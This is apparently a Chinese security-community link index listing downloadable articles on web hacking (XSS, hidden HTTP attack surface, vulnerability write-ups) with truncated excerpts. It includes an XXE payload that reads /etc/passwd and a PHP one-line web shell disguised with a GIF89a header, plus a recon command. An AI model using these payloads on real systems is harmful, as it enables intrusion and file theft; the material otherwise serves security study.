地址：http://esbp.feei.cn/

下载地址：http://i0x0fy4ibf.feishu.cn/file/boxcnylSPzGnXDU4OnEwQZDypTh 作者寄语：这就是整个过程。轻易渗透进企业，并阻止其继续破坏人权。这也是黑客的魅力和不对称性之美：只需100小时的...

下载地址：http://i0x0fy4ibf.feishu.cn/file/boxcnKLcGrXDD2QBYScQqA1sAid

英文版：http://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface 中文版： 针对HTTP的隐藏攻击面分析（上）http://www.anquanke.com/post/id/86578 针对HTT...

下载地址： http://i0x0fy4ibf.feishu.cn/file/boxcnh0S5wMUtS8WW5PFwth7R1f

下载地址：http://i0x0fy4ibf.feishu.cn/file/boxcnP2siX6p3DN3YjKEomok3kb 简介 0x00 众里寻他千百度 0x01 精骛八极,心游万仞 0x02 天下大事，必作于细 0x03 不破楼兰终不还 0x04 工欲善其事，...

地址：http://i0x0fy4ibf.feishu.cn/file/boxcn1w1nZXPVtJa8lVa7wsw8Fg 简介： 0x01 漏洞介绍 0x02 漏洞代码 0x03 漏洞复现 0x04 漏洞危害 0x05 修复方案 0x06 漏洞场景

下载地址： http://i0x0fy4ibf.feishu.cn/file/boxcnGP6wJS4lNvwLEESnZrfvhh

下载地址：http://i0x0fy4ibf.feishu.cn/file/boxcnWEh8qDe4C1YCEIsDTQkKVh

那些年我们一起学XSS 下载地址：http://i0x0fy4ibf.feishu.cn/file/boxcneWUeidPmbE15ZSYtydSSOg

下载地址：http://i0x0fy4ibf.feishu.cn/file/boxcnMmfJEQCTDLUjcxMXoy5SUb 简要概述：《Web之困》的第二章

下载地址：http://i0x0fy4ibf.feishu.cn/file/boxcn2URNkjgnmIC6rrTp6yet4g

有回显，用以下poc直接读取/etc/passwd： <?xml version='1.0'?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&am...

信息收集之快速提取SSL证书里的域名 echo '唯品会（原Vipshop.com）特卖会：品牌特卖_确保正品_确保低价_货到付款' | httpx -tls-probe -json -silent | jq .tls.dns_names #安全小天地Zone Tip...

#原创文章# 前言 上次听了火器的线上分享会议有提到火器的资产关联大概的思路，真的是收获了很多。再夸夸火器，在挖一些项目中的确能省掉很多资产收集的时间。本文主要参考上次会议中提交的一些...

无敏感函数的php一句话(php中可用`来执行系统命令，相当于system、eval等函数)，执行命令:shell.php?1=whoami Gif89a <?php $a = `$_GET[1]`; echo $a; ?> 文字来源于- 火线 Zone-云安全...